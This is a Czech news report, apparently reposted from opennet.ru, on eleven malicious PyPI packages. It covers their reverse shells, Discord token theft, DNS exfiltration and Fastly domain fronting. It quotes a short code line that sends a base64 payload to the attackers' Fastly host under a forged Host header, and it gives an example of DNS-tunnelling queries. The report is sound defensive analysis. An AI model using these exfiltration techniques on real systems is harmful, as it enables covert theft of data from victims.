V katalogu PyPI byly nalezeny škodlivé knihovny, které používají CDN PyPI k zakrytí komunikačního kanálu.

V katalogu PyPI (Python Package Index) bylo odhaleno 11 balíčků obsahujících škodlivý kód. Před odhalením problémů byly tyto balíčky celkem staženy přibližně 38 tisíckrát. Zjištěné škodlivé balíčky se vyznačují složitými metodami skrývání komunikačních kanálů se servery útočníků.

  • importantpackage (6305 stažení), important-package (12897) — navázaly spojení s externím serverem pod záminkou připojení k pypi.python.org, aby poskytly shellový přístup k systému (reverse shell) a použily program trevorc2 k zakrytí komunikačního kanálu.
  • pptest (10001), ipboards (946) — použily DNS jako komunikační kanál pro přenos informací o systému (v prvním balíčku název hostitele, pracovní adresář, interní a externí IP, ve druhém — uživatelské a hostitelské jméno).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) — identifikovaly v systému token služby Discord a poslaly ho na externí host.
  • trrfab (287) — posílal na externí host identifikátor, název hostitele a obsah /etc/passwd, /etc/hosts, /home.
  • 10Cent10 (490) — navazoval zpětné shellové spojení s externím hostem.
  • yandex-yt (4183) — zobrazoval zprávu o kompromitaci systému a přesměrovával na stránku s dalšími informacemi o dalších krocích, poskytovaných přes nda.ya.ru (api.ya.cc).

Zvláštní pozornost si zaslouží metoda přístupu k externím hostům, kterou používaly balíčky importantpackage a important-package, které používaly pro skrývání své aktivity síť pro doručování obsahu Fastly, využívanou v katalogu PyPI. Fakticky byly požadavky posílány na server pypi.python.org (včetně uvádění názvu python.org v SNI uvnitř požadavku HTTPS), avšak v HTTP záhlaví "Host" byl uveden název serveru kontrolovaného útočníky (sec.forward.io.global.prod.fastly.net). Síť pro doručování obsahu směrovala takový požadavek na server útočníků, při přenosu dat využívala parametry TLS spojení s pypi.python.org.

Infrastruktura PyPI je zabezpečována pomocí sítě pro doručování obsahu Fastly, která pro mezipaměť typických požadavků používá transparentní proxy Varnish. Také se zde aplikuje zpracování TLS certifikátů na úrovni CDN, nikoli na koncových serverech, aby se umožnilo přesměrování HTTPS požadavků přes proxy. Bez ohledu na cílového hostitele jsou požadavky směrovány do proxy, která určuje správného hostitele podle HTTP hlavičky „Host“, doménová jména hostitelé jsou přidělováni k typickým IP adresám vyrovnávacích paměťových serverů CDN pro všechny klienty Fastly.

Server útočníků je také registrován v CDN Fastly, která nabízí všem zájemcům bezplatné cenové plány a dokonce umožňuje anonymní registraci. Je zajímavé, že pro odesílání žádostí oběti při vytváření „reverse shell“ se používá stejný mechanismus, ale iniciovaný ze strany hostitele útočníků. Z pohledu interakce se serverem útočníků vypadá jako legitimní relace s katalogem PyPI, která je šifrována pomocí TLS certifikátu PyPI. Tato technika, známá jako „domain fronting“, byla dříve aktivně používána k ukrytí názvu hostitele při obcházení blokací, využívající možnost komunikace přes HTTPS ve některých CDN sítích, kdy je v SNI uveden fiktivní hostitele a skutečný název požadovaného hostitele je předán v HTTP hlavičce Host uvnitř TLS relace.

V katalogu PyPI byly nalezeny škodlivé knihovny, které používají CDN PyPI k zakrytí komunikačního kanálu.

Pro skrývání škodlivé aktivity byl navíc použit balíček TrevorC2, který umožňuje interakci se serverem přiblížit obvyklému webovému prohlížení, například byly škodlivé požadavky zasílány jako stahování obrázku „https://pypi.python.org/images/guid=“ s kódováním informace v parametru guid. url = „https://pypi.python.org“ + „/images“ + „?“ + „guid=“ + b64_payload r = request.Request(url, headers = {‘Host’: „psec.forward.io.global.prod.fastly.net“})

V balíčcích pptest a ipboards byla použita jiná metoda pro skrytí síťové aktivity, založená na kódování užitečných informací v dotazech na DNS server. Škodlivý software přenáší informace tím, že provádí DNS dotazy jako „nu4timjagq4fimbuhe.example.com“, ve kterých jsou pomocí formátu base64 zakódována data přenášená na řídicí server. Útočník přijímá data zprávy tím, že kontroluje DNS server pro doménu example.com.

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster